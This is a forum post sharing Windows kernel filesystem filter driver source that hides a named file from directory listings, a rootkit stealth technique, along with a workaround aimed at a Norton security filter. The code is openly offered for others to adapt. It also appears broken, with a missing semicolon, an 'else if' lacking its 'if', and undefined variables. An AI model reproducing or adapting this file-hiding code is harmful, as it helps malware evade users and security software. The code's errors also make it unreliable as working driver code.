Heya, this is my answer to Flister..... Since Joanna said she haven't seen any "file hiding" done in a proper way, here's my code as
requested.

It's just a snippet, so you have of course to readapt it to your needs. It needs an fs filter catching IRP_MJ_DIRECTORY_CONTROL.

cowabunga,
valerio


NTSTATUS
UtilSetEventCompletionRoutine(
   PDEVICE_OBJECT DeviceObject,
   PIRP Irp,
   PVOID Context)
{



    KeSetEvent((PKEVENT) Context, IO_NO_INCREMENT, FALSE);
    return STATUS_MORE_PROCESSING_REQUIRED;
}

NTSTATUS FsDirectoryControlDispatch (PIRP Irp)
{
    NTSTATUS                Status
    KEVENT                    Event;
    FILE_INFORMATION_CLASS            FileInfo;
    PVOID                    Buffer;
    PWCHAR                    Name;
    ULONG                    NameLength;
    ULONG                    NameOffset;
    PFILE_OBJECT                FileObject;
    ULONG                           resendcount = 0; // hack needed for norton lame filter compatibility
    PIO_STACK_LOCATION            IrpSp = IoGetCurrentIrpStackLocation (Irp);
    
    // init event
    KeInitializeEvent(&Event, NotificationEvent, FALSE);
    
    if (IrpSp->MinorFunction != IRP_MN_QUERY_DIRECTORY)
    {
        // skip every other minor irp
        IoSkipCurrentIrpStackLocation(Irp);
        return IoCallDriver(DeviceExtension->AttachedDevice, Irp);
    }

    
__resend :
    // call lower driver and wait
    IrpSp->Flags |= SL_RETURN_SINGLE_ENTRY;
    IoCopyCurrentIrpStackLocationToNext(Irp);
    IoSetCompletionRoutine(Irp, UtilSetEventCompletionRoutine, &Event, TRUE, TRUE, TRUE);
    KeClearEvent(&Event);
    Status = IoCallDriver(DeviceExtension->AttachedDevice, Irp);

    if (Status == STATUS_PENDING)
    {
        KeWaitForSingleObject(&Event, Executive, KernelMode, FALSE, NULL);
        Status = Irp->IoStatus.Status;
    }

    if (Status != STATUS_SUCCESS)
    {
        goto __exit;
    }

    // check buffer, in case mask the entry by skipping this entry index
    IrpSp = IoGetCurrentIrpStackLocation(Irp);
    
    // this is the currently examined directory fileobject
    FileObject = IrpSp->FileObject;
    FileInfo = IrpSp->Parameters.QueryDirectory.FileInformationClass;
    Buffer = Irp->UserBuffer;
    if (!Buffer)
    {
        goto __exit;
    }

    // get filename for every case
    switch (FileInfo)
    {
        case FileFullDirectoryInformation:
            NameOffset = FIELD_OFFSET(FILE_FULL_DIR_INFORMATION, FileName[0]);
            NameLength = ((PFILE_FULL_DIR_INFORMATION) Buffer)->FileNameLength;
            Name = (PWCHAR) ((ULONG) Buffer + NameOffset);
        break;

        case FileDirectoryInformation:
            NameOffset = FIELD_OFFSET(FILE_DIRECTORY_INFORMATION, FileName[0]);
            NameLength = ((PFILE_DIRECTORY_INFORMATION) Buffer)->FileNameLength;
            Name = (PWCHAR) ((ULONG) Buffer + NameOffset);
        break;

        case FileNamesInformation:
            NameOffset = FIELD_OFFSET(FILE_NAMES_INFORMATION, FileName[0]);
            NameLength = ((PFILE_NAMES_INFORMATION) Buffer)->FileNameLength;
            Name = (PWCHAR) ((ULONG) Buffer + NameOffset);
        break;

        case FileBothDirectoryInformation:
            NameOffset = FIELD_OFFSET(FILE_BOTH_DIR_INFORMATION, FileName[0]);
            NameLength = ((PFILE_BOTH_DIR_INFORMATION) Buffer)->FileNameLength;
            Name = (PWCHAR) ((ULONG) Buffer + NameOffset);
        break;


    }

    // hide file
    else if (NameLength == wcslen (FILE_TO_HIDE) * sizeof (WCHAR))
    {
        if (Utilwcsstrsize(Name,FILE_TO_HIDE,(USHORT)NameLength,
            wcslen (FILE_TO_HIDE) * sizeof (WCHAR),FALSE))
        {
            // this is an extra check, which involves you save at initialization time the fileobject of the directory in which
            // the hidden file resides. Comparing directories FsContexts (FsContext are unique for the same object),
            // you can be sure that you're hiding the right target file. Without this check, it would hide
            // \windows\system32\drivers\FILE_TO_HIDE, \windows\FILE_TO_HIDE, \bla\FILE_TO_HIDE, etc....
            if (TargetDirFileObject)
            {
                if (FileObject->FsContext == TargetDirFileObject->FsContext)
                {
                    resendcount++;
                    if (resendcount > 1)    // compatibility hack for norton filter
                    {
                        goto __exit;
                    }
                    goto __resend;
                }
            }
        }
    }

__exit:
    // complete the irp and return
    Status = Irp->IoStatus.Status;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return Status;
}


read comments (12) / write comment

recent comments:

No guarantee for FileInfo value	bluesky	15.Feb:05:50
nice	razvanu	02.Feb:09:52

views: 5431   printer-friendly version